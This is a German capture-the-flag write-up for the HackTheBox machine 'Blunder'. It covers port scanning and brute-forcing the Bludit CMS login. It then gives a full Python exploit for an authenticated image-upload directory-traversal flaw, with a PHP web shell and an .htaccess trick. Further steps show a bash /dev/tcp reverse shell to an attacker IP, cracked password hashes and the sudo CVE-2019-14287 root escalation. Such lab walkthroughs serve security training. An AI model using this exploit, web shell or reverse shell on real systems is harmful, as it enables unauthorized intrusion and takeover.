> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-easy/blunder-hackthebox-writeup.md).

# Blunder HackTheBox Ausarbeitung

{% embed url="<https://app.hackthebox.com/machines/Blunder>" %}

{% hint style="warning" %}
**Fähigkeiten:**

* Bludit-CMS-Exploitation
* Umgehen der IP-Sperre (X-Forwarded-For-Header)
* Verzeichnisdurchquerungs-Bilddatei-Upload (Arbeiten mit .htaccess)
* Ausnutzen der sudo-Berechtigung (CVE-2019-14287)
  {% endhint %}

## Aufklärung

**Einrichtung des Arbeitsbereichs:**

Richten Sie den Arbeitsbereich ein, indem Sie drei Ordner erstellen, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

<figure><img src="/files/993c5a1cf3d40b31ec2930a918cc9e17a15dd459" alt="" width="563"><figcaption></figcaption></figure>

**VPN-Verbindung prüfen**

Prüfen Sie die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielsystem sicherzustellen.

<figure><img src="/files/7e91a008f01d264dfa4572af920e6b9bde3ff116" alt="" width="563"><figcaption></figcaption></figure>

**Offene-Ports-Ermittlung mit Nmap:**

Erfassen Sie offene Ports und exportieren Sie die Ergebnisse in die Datei "allPorts" im Nmap-Verzeichnis:

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 10.10.10.191 -oG allPorts
```

<figure><img src="/files/7993436134c4da412be7b095b1eb489e5a363b8f" alt=""><figcaption></figcaption></figure>

**Analyse offener Ports mit extractPorts:**

Verwende die Funktion extractPorts, um offene Ports in einem kompakten Format anzuzeigen und sie in die Zwischenablage zu kopieren (80)

<figure><img src="/files/54f30cee9e4713068d4c62bb9dc58cf6e5349b24" alt="" width="563"><figcaption></figcaption></figure>

Versionsscan der Ports mit Nmap:

Verwenden Sie Nmap, um die Service-Versionen zu scannen und die Ausgabe in der Datei "targeted" zu speichern:

```bash
nmap -sCV -p80 10.10.10.191 -oN targeted
```

<figure><img src="/files/3f9b9cfa4048b5e81fb5a6dc6f4594f8e1342ab8" alt=""><figcaption></figcaption></figure>

Um Domänennamen mittels DNS in IP-Adressen aufzulösen, tragen wir den mit der IP-Adresse verknüpften Domänennamen in die `/etc/hosts` Datei ein:

<figure><img src="/files/706b2a4ad70a52ede41b6e64ff073536fe28d56b" alt=""><figcaption></figcaption></figure>

## Port 80 (Blunder):

<figure><img src="/files/101bf0ff1d2400114f2e5983432d957009dbf140" alt=""><figcaption></figcaption></figure>

**Verzeichnisscan**

Verwenden Sie **Gobuster** um interessante Verzeichnisse zu finden:

```bash
gobuster dir -u http://blunder.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

* Ergebnis: Entdeckung des **/admin** Verzeichnis.

<figure><img src="/files/3b184b5d9528266a82b0667812d8fa9368ebe842" alt=""><figcaption></figcaption></figure>

**CMS-Identifizierung**

Durch den Zugriff auf **/admin**, wird das Bludit-CMS (Version **3.9.2**) erkannt.

<figure><img src="/files/8324e33e72c80a26e8ffa2ead7c9ffb1d09c2603" alt="" width="360"><figcaption></figcaption></figure>

## **Bludit-CMS-Exploitation**

<figure><img src="/files/373838c2f090f117f30f965edd2fa088cfb7e783" alt=""><figcaption></figcaption></figure>

**Nach Schwachstellen suchen**

Verwenden Sie `searchsploit` um bekannte Schwachstellen zu finden:

<figure><img src="/files/d3997114c135b4e3e2e23043361552ab012f8079" alt=""><figcaption></figcaption></figure>

#### Schwachstelle erkannt: **CVE-2019-17240**

{% hint style="info" %}
Der Exploit zielt darauf ab, eine Schwachstelle in der Abwehr von Brute-Force-Angriffen auf Bludit auszunutzen, einer CMS-(Content Management System)-Plattform. Die Schwachstelle, identifiziert als **CVE-2019-17240**, ermöglicht es einem Angreifer, die Schutzmechanismen gegen Brute-Force-Angriffe zu umgehen, die in Bludit-Versionen vor oder gleich 3.9.2 implementiert sind.
{% endhint %}

`searchsploit -m php/webapps/48942.py`

**Textdatei gefunden**

Führe weitere Recherchen mit Gobuster durch:

```bash
gobuster dir -u http://blunder.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -x php,txt,html
```

<figure><img src="/files/c9b59840b4a8f6f9276f17b7a54fb98cded69ea6" alt=""><figcaption></figcaption></figure>

Inhalt: Identifizierter Benutzer: **fergus**.

<figure><img src="/files/ece80cd16635fd354ec16c34f527659745528f6a" alt="" width="375"><figcaption></figcaption></figure>

### Brute Force auf Bludit

Sobald der Benutzer **fergus** entdeckt wurde, verwende ein Wörterbuch, um einen Brute-Force-Angriff zu starten:

```bash
python3 exploit.py -l http://blunder.htb/admin/ -u user.txt -p password.txt
```

Keine Übereinstimmungen für die Datei gefunden **rockyou.txt**.

### **Personalisiertes Wörterbuch**

Verwenden Sie **Cewl** um ein Wörterbuch basierend auf der Website zu erstellen:

```bash
cewl -u http://blunder.htb/ -w password.txt
```

<figure><img src="/files/f68af223554e3355fbcc0c7472b5d1d9d5529dc7" alt="" width="563"><figcaption></figcaption></figure>

Starte den Brute-Force-Angriff mit dem benutzerdefinierten Wörterbuch erneut:

<figure><img src="/files/23cfac582753af55cc5486018cadc3b8b270e7fd" alt=""><figcaption></figcaption></figure>

* Gefundenes Passwort: `fergus:RolandDeschain`

<figure><img src="/files/8cfcb98be2715651169d328e987f99c8fdfb00ce" alt=""><figcaption></figcaption></figure>

## Ausnutzung des Directory-Traversal-Bilddatei-Uploads:

Nach der Authentifizierung ist dieses CMS anfällig für einen **Directory Traversal** Typ-Angriff, der das Hochladen bösartiger Dateien ermöglicht.

{% embed url="<https://github.com/bludit/bludit/issues/1081>" %}

{% hint style="info" %}
Wir können den Speicherort der heruntergeladenen Datei angeben, indem wir den Wert von `uuid` und dann ein bösartiges Bild in den temporären Ordner hochladen.
{% endhint %}

Nach der Authentifizierung ist es möglich, einen neuen Exploit über `searchsploit` in `multiple/webapps/48701.txt`herunterzuladen, der die Schritte zum Ausnutzen dieser Schwachstelle beschreibt.

<figure><img src="/files/e1927c7855afbfddaf6a74515e7f56c09e541c0e" alt=""><figcaption></figcaption></figure>

**Schritte zur Ausführung**

<figure><img src="/files/2f07d95e1f45516389074b8e498e24b40ff65dc4" alt=""><figcaption></figcaption></figure>

1. **Erstelle eine bösartige Datei** (`evil.png`) mit PHP-Code:

```bash
<?php
system($_GET['cmd']);
?>
```

2. **Passe das Skript an die Situation an** (IP-Adresse des Opfers, Benutzername, Passwort usw.).

<figure><img src="/files/14ccb42546428c71e6c6b47c99cf0bd897626ecc" alt="" width="563"><figcaption></figcaption></figure>

3. **Exploit ausführen:**

Python-Exploit-Skript:

```python
#!/usr/bin/env python3

import requests
import re
import argparse
import random
import string
import base64
from requests.exceptions import Timeout

url = 'http://blunder.htb/admin'  # HIER ÄNDERN
username = 'fergus'  # HIER ÄNDERN
password = 'RolandDeschain'  # HIER ÄNDERN

# msfvenom -p php/reverse_php LHOST=127.0.0.1 LPORT=53 -f raw -b '"' > evil.png
# echo -e "<?php $(cat evil.png)" > evil.png
payload = 'evil.png'  # ERSTELLE MICH

#echo "RewriteEngine off" > .htaccess
#echo "AddType application/x-httpd-php .png" >> .htaccess
payload2 = '.htaccess'  # ERSTELLE MICH

def login(url,username,password):
    """ Mit den angegebenen Admin-Zugangsdaten anmelden und den Cookie nach der Authentifizierung abgreifen """

    session = requests.Session()
    login_page = session.get(url + "/admin/")
    csrf_token = re.search('input.+?name="tokenCSRF".+?value="(.+?)"',
                           login_page.text
                 ).group(1)
    cookie = ((login_page.headers["Set-Cookie"]).split(";")[0].split("=")[1])
    data = {"save":"",
            "password":password,
            "tokenCSRF":csrf_token,
            "username":username}
    headers = {"Origin":url,
               "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
               "Upgrade-Insecure-Requests":"1",
               "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0",
               "Connection":"close",
               "Referer": url + "/admin/",
               "Accept-Language":"es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3",
               "Accept-Encoding":"gzip, deflate",
               "Content-Type":"application/x-www-form-urlencoded"
    }
    cookies = {"BLUDIT-KEY":cookie}
    response = session.post(url + "/admin/",
                            data=data,
                            headers=headers,
                            cookies=cookies,
                            allow_redirects = False
               )

    print("cookie: " + cookie)
    return cookie

def get_csrf_token(url,cookie):
    """ Den CSRF-Token aus einer authentifizierten Sitzung abgreifen """

    session = requests.Session()
    headers = {"Origin":url,
               "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
               "Upgrade-Insecure-Requests":"1",
               "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0",
               "Connection":"close",
               "Referer":url + "/admin/",
               "Accept-Language":"es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3",
               "Accept-Encoding":"gzip, deflate"}
    cookies = {"BLUDIT-KEY":cookie}
    response = session.get(url + "/admin/dashboard",
                           headers=headers,
                           cookies=cookies
               )
    csrf_token = response.text.split('var tokenCSRF = "')[1].split('"')[0]

    print("csrf_token: " + csrf_token)
    return csrf_token

def upload_evil_image(url, cookie, csrf_token, payload, override_uuid=False):
    """ Hochladen der Dateien, die benötigt werden, um PHP über bösartige Bilddateien auszuführen. Payload und .htaccess """

    session = requests.Session()
    files= {"images[]": (payload,
                         open(payload, "rb"),
                         "multipart/form-data",
                         {"Content-Type": "image/png", "filename":payload}
                        )}
    if override_uuid:
        data = {"uuid": "../../tmp/temp",
                "tokenCSRF":csrf_token}
    else:
        # In der verwundbaren Anwendung kommt diese Zeile zuerst:
        # Filesystem::mv($_FILES['images']['tmp_name'][$uuid], PATH_TMP.$filename);
        # Obwohl es eine Prüfung der Dateiendung gibt, wird sie uns nicht wirklich aufhalten
        # daran hindern, die .htaccess-Datei hochzuladen.
        data = {"tokenCSRF":csrf_token}
    headers = {"Origin":url,
               "Accept":"*/*",
               "X-Requested-With":"XMLHttpRequest",
               "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0",
               "Connection":"close",
               "Referer":url + "/admin/new-content",
               "Accept-Language":"es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3",
               "Accept-Encoding":"gzip, deflate",
    }
    cookies = {"BLUDIT-KEY":cookie}
    response = session.post(url + "/admin/ajax/upload-images", data=data, files=files, headers=headers, cookies=cookies)
    print("Uploading payload: " + payload)

if __name__ == "__main__":
    cookie = login(url, username, password)
    token = get_csrf_token(url, cookie)
    upload_evil_image(url, cookie, token, payload, True)
    upload_evil_image(url, cookie, token, payload2)
```

<figure><img src="/files/a4ab8d98f55fbf2e47c70262a78fb04a38cf9975" alt="" width="563"><figcaption></figcaption></figure>

4. **Greife auf die bösartige Datei zu**: Sobald das Bild heruntergeladen wurde, gehe einfach zu `/bl-content/tmp/temp/evil.png` um Befehle auszuführen.

<figure><img src="/files/ce21ebac3bf4b683db76ab6f1ef014c8d27289cb" alt="" width="552"><figcaption></figcaption></figure>

5. **Lausche mit Netcat auf Port 443**:

```bash
nc -nvlp 443
```

5. **Eine Reverse Shell ausführen**:

```bash
bash -c "bash -i >%26 /dev/tcp/10.10.14.2/443 0>%261"
```

<figure><img src="/files/710a58a48a8b876c2df4f7794a3ae280a7cd0bd3" alt="" width="563"><figcaption></figcaption></figure>

**Verwaltung von Terminal-Sitzungen** :

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

## Privilegieneskalation

Beim Durchsuchen der Dateien wird eine Datei entdeckt `users.php` in `Datenbanken` Ordner mit gehashten Anmeldedaten für Benutzer `fergus` und `admin`:

`admin:bfcc887f62e36ea019e3295aafb8a3885966e265`

`fergus:be5e169cdf51bd4c878ae89a0a89de9cc0c9d8c7`

<figure><img src="/files/c131b567fa2d973666c4d7ce5b6e9d2c0d12eb06" alt=""><figcaption></figcaption></figure>

Wenn man CrackStation verwendet, um zu versuchen, diese Hashes zu knacken, scheint es, dass sie nicht erkannt werden.

<figure><img src="/files/18f880ed8aa7308fbc55bbf51856cbf980f97147" alt=""><figcaption></figcaption></figure>

Im Stammverzeichnis der Website wird jedoch eine neuere Version von Bludit gefunden, die dieselben Konfigurationsdateien enthält, aber mit anderen Anmeldedaten:

<figure><img src="/files/0eaad2476fcc4664f42f7c3fd1d674b843b0c85c" alt="" width="497"><figcaption></figcaption></figure>

* **hugo** : `faca404fd5c0a31cf1897b823c695c85cffeb98d`

<figure><img src="/files/b4980a3f888595d5c492e3115a7729929d5bbc51" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/b86c8167b38146b8a322979110d8f242369f97d3" alt=""><figcaption></figcaption></figure>

`hugo:Password120`

<figure><img src="/files/aed348076ea57ee1ce29ccf4c0c5f4c81a9fb6f6" alt="" width="563"><figcaption></figcaption></figure>

### Flagge user.txt:

<figure><img src="/files/15a3111d63c2b854655c2b66bce19e1619b4b672" alt="" width="563"><figcaption></figcaption></figure>

### Ausnutzen der sudo-Berechtigung (CVE-2019-14287):

Bei der Untersuchung der sudo-Berechtigungen entdeckten wir eine verwundbare Konfiguration in der sudoers-Datei. Mit dem `sudo -l` Befehl identifizierten wir eine Berechtigung, die es allen Benutzern außer `root` erlaubt, sich mit dem `/bin/bash` Befehl:

<figure><img src="/files/9a9c5163547aaf4ba2b2e8ac8a2c7a07fa747122" alt=""><figcaption></figcaption></figure>

{% embed url="<https://www.exploit-db.com/exploits/47502>" %}

Diese Schwachstelle betrifft alle sudo-Versionen vor Version 1.8.27.

In unserem Fall ist die sudo-Version niedriger als 1.8.27, wodurch diese Schwachstelle ausnutzbar ist.

<figure><img src="/files/09ae55ad5951fc4b796f8c5a85d31770c7ce64cf" alt="" width="510"><figcaption></figcaption></figure>

Um diese Schwachstelle auszunutzen, führe einfach den folgenden Befehl aus:

```bash
sudo -u#-1 /bin/bash
```

Dieser Befehl ermöglicht es dir, eine Shell als Benutzer `-1`auszuführen, was dem Benutzer entspricht `root`.

<figure><img src="/files/2013b5e5b422ae956c70191f7697a084230bb1d1" alt="" width="563"><figcaption></figcaption></figure>

### Flag root.txt :)

<figure><img src="/files/508e5e914f3926b842cb248df7c641064a354458" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/64ce171b1ba99a5bc036e95a0929c2122d739a0d" alt="" width="532"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-easy/blunder-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
